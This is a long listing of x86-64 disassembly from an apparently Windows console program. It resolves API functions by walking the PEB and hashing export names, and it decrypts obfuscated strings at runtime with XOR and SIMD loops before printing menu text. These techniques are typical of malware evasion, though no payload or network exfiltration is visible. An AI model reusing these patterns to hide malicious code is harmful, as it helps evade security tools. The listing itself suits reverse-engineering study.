nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140014e64
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140014e64
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x20bdd2bf
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140014e5f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014e40
cmp edx, 0xeb18441e
je 0x140014e69
test r9d, r9d
jne 0x140014e20
mov rax, qword [rax]
jmp 0x140014df0
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, r13d
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
jl 0x140014eef
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0x70]
xorps xmm1, xmm0
movd dword [rbp + 0x70], xmm1
jmp 0x140014f29
lea r9, [rbp + 0x70]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140014f00
lea rcx, [rbp + 0x70]
call r11
lea rcx, [rbp - 0x70]
lea rax, [0x1400f4640]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov eax, dword [rax + 0xb0]
mov dword [rcx + 0xb0], eax
mov ecx, r13d
cmp edi, 2
jl 0x1400150be
movdqa xmmword [rbp + 0x50], xmm10
lea rdx, [rbp - 0x70]
mov r8d, dword [rbp + 0x50]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm3, xmm0
movd dword [rdx + 4], xmm3
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0xb0
jl 0x140014fd0
cmp ecx, 0xb4
jge 0x1400150ff
movsxd rax, ecx
lea r8, [rbp - 0x70]
add r8, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xb4
jl 0x1400150d0
lea rdx, [rbp - 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a940
lea rdx, [rbp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x80]
test ecx, ecx
je 0x140015576
sub ecx, 1
je 0x140015554
sub ecx, 1
je 0x14001554d
sub ecx, 1
je 0x140015546
cmp ecx, 1
je 0x14001553f
mov eax, dword [str.R_4]
mov dword [rbp + 0x70], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400151e4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400151e4
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0xf4c66c6f
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400151df
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400151c0
cmp edx, 0xe71b2ace
je 0x1400151e9
test r9d, r9d
jne 0x1400151a0
mov rax, qword [rax]
jmp 0x140015170
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, r13d
cmp edi, 2
jl 0x140015269
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0x70]
xorps xmm1, xmm0
movd dword [rbp + 0x70], xmm1
jmp 0x140015299
lea r9, [rbp + 0x70]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140015270
lea rcx, [rbp + 0x70]
call r11
movups xmm0, xmmword [0x1400f4bd0]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [str.a_v_2_._i__8___q__14_2x____9__t]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x1400f4bf0]
movups xmmword [rbp + 0xd0], xmm0
movzx eax, word [0x1400f4c00]
mov word [rbp + 0xe0], ax
movzx eax, byte [0x1400f4c02]
mov byte [rbp + 0xe2], al
mov ecx, r13d
cmp edi, 2
jl 0x1400153ea
movdqa xmmword [rbp + 0x50], xmm10
lea rdx, [rbp + 0xb0]
mov r8d, dword [rbp + 0x50]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm3, xmm0
movd dword [rdx + 4], xmm3
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x30
jl 0x140015302
cmp ecx, 0x33
jge 0x14001542c
movsxd rax, ecx
lea r8, [rbp + 0xb0]
add r8, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x33
jl 0x140015400
lea rdx, [rbp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a940
movsd xmm0, qword [str.ASFGP_bYMU:]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x1400f3d80]
mov word [rsp + 0x38], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400154e6
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400154e6
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov ecx, dword [rdx + rbx]
add rcx, r10
mov r8d, 0xbf9d9e05
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400154e1
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1400154c0
cmp r8d, 0x703060dc
je 0x1400154eb
test r9d, r9d
jne 0x1400154a0
mov rax, qword [rax]
jmp 0x140015470
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSASetLastError
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
xor byte [rsp + 0x36], 0x37
xor byte [rsp + 0x37], 0x38
xor byte [rsp + 0x38], 0x39
xor byte [rsp + 0x39], 0x3a
lea rcx, [rsp + 0x30]
call rax
jmp 0x140015564
call fcn.14000c530
jmp 0x140015564
call fcn.14000bde0
jmp 0x140015564
call fcn.140008dc0
jmp 0x140015559
call fcn.140005c30
call fcn.14000a340
call fcn.1400116c0
nop
cmp dword [rbp + 0x98], 0
je 0x140014ca0
jmp 0x140015d5b
mov eax, dword [str.R_4]
mov dword [rbp + 0x70], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140015604
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140015604
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x899103aa
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400155ff
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400155e0
cmp edx, 0x8586ad93
je 0x140015609
test r9d, r9d
jne 0x1400155c0
mov rax, qword [rax]
jmp 0x140015590
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, r13d
cmp edi, 2
jl 0x140015689
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0x70]
xorps xmm1, xmm0
movd dword [rbp + 0x70], xmm1
jmp 0x1400156b9
lea r9, [rbp + 0x70]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140015690
lea rcx, [rbp + 0x70]
call r11
movups xmm2, xmmword [0x1400f3b78]
movups xmmword [rbp + 0x50], xmm2
movzx eax, byte [0x1400f3b88]
mov byte [rbp + 0x60], al
cmp edi, 2
jl 0x140015870
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm7, xmm0
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd ecx, xmm10
movd xmm0, ecx
paddb xmm7, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm7, xmm0
movd dword [rbp + 0x50], xmm7
movdqa xmm2, xmmword [0x1400f4f50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54]
xorps xmm2, xmm1
movd dword [rbp + 0x54], xmm2
movdqa xmm3, xmmword [0x1400f4f60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rbp + 0x58]
xorps xmm3, xmm1
movd dword [rbp + 0x58], xmm3
movdqa xmm2, xmmword [0x1400f4f70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5c]
xorps xmm2, xmm1
movd dword [rbp + 0x5c], xmm2
mov r13d, reloc.WS2_32.dll_recv
mov eax, r13d
lea r8, [rbp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r13d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, r13b
sub al, dl
add al, 0x31
xor byte [r8], al
inc r13d
lea r8, [r8 + 1]
cmp r13d, 0x11
jl 0x140015880
lea rdx, [rbp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140015954
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140015954
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0xa25c39f0
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001594f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015930
cmp edx, 0x9ad808e3
je 0x140015959
test r9d, r9d
jne 0x140015910
mov rax, qword [rax]
jmp 0x1400158e0
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
mov ecx, 0x15e
call rax
movzx eax, word [0x1400f4464]
mov word [rbp + 0x70], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140015a14
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140015a14
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0xad21fb3c
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140015a0f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400159f0
cmp edx, 0x7b975f47
je 0x140015a19
test r9d, r9d
jne 0x1400159d0
mov rax, qword [rax]
jmp 0x1400159a0
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
mov byte [rbp + 0x70], 0x2e
xor byte [rbp + 0x71], 0x32
lea rcx, [rbp + 0x70]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140015ad4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140015ad4
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x7eec1474
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140015acf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015ab0
cmp edx, 0x4e3b6a77
je 0x140015ad9
test r9d, r9d
jne 0x140015a90
mov rax, qword [rax]
jmp 0x140015a60
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
mov ecx, 0x190
call rax
movzx eax, word [0x1400f4464]
mov word [rbp + 0x70], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140015b94
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140015b94
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x80386a80
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140015b8f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015b70
cmp edx, 0xd2283193
je 0x140015b99
test r9d, r9d
jne 0x140015b50
mov rax, qword [rax]
jmp 0x140015b20
mov eax, dword [r11 + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov byte [rbp + 0x70], 0x2e
xor byte [rbp + 0x71], 0x32
lea rcx, [rbp + 0x70]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140015c54
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140015c54
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x66c4cbf1
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140015c4f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015c30
cmp edx, 0xd7e69874
je 0x140015c59
test r9d, r9d
jne 0x140015c10
mov rax, qword [rax]
jmp 0x140015be0
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
mov ecx, 0x1c2
call rax
mov eax, dword [0x1400f4440]
mov dword [rbp + 0x70], eax
movzx eax, word [0x1400f4444]
mov word [rbp + 0x74], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140015d14
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140015d14
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x2f839dd
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140015d0f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015cf0
cmp edx, 0xc88480e2
je 0x140015d19
test r9d, r9d
jne 0x140015cd0
mov rax, qword [rax]
jmp 0x140015ca0
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
mov byte [rbp + 0x70], 0x2e
xor byte [rbp + 0x71], 0x32
xor byte [rbp + 0x72], 0x33
xor byte [rbp + 0x73], 0x34
xor byte [rbp + 0x74], 0x35
xor byte [rbp + 0x75], 0x36
lea rcx, [rbp + 0x70]
call rax
nop
cmp dword [rbp + 0x98], 0
je 0x140015d62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x130], 0
je 0x140015d72
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x140], 0
je 0x140015fab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x98], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
movsd xmm0, qword [0x1400f3ba8]
movsd qword [rbp + 0x50], xmm0
movzx edx, word [0x1400f3bb0]
mov word [rbp + 0x58], dx
movzx eax, byte [0x1400f3bb2]
mov byte [rbp + 0x50], 0xa
xor byte [rbp + 0x51], 0x32
xor byte [rbp + 0x52], 0x33
xor byte [rbp + 0x53], 0x34
xor byte [rbp + 0x54], 0x35
xor byte [rbp + 0x55], 0x36
xor byte [rbp + 0x56], 0x37
xor byte [rbp + 0x57], 0x38
xor dl, 0x39
mov byte [rbp + 0x58], dl
xor byte [rbp + 0x59], 0x3a
xor al, 0x3b
mov byte [rbp + 0x5a], al
lea rdx, [rbp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a940
cmp qword [0x1405c0bc0], 0xf
cmova r12, qword [0x1405c0ba8]
mov r8, qword [0x1405c0bb8]
mov rdx, r12
mov rcx, rax
call fcn.14001fb70
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140015eb4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140015eb4
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x1b32f6a4
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140015eaf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015e90
cmp edx, 0xc143a007
je 0x140015eb9
test r9d, r9d
jne 0x140015e70
mov rax, qword [rax]
jmp 0x140015e40
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140015f64
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140015f64
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x58c60ce6
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140015f5f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015f40
cmp edx, 0xe5b6984e
je 0x140015f69
test r9d, r9d
jne 0x140015f20
mov rax, qword [rax]
jmp 0x140015ef0
mov r8d, dword [r11 + 0x1c]
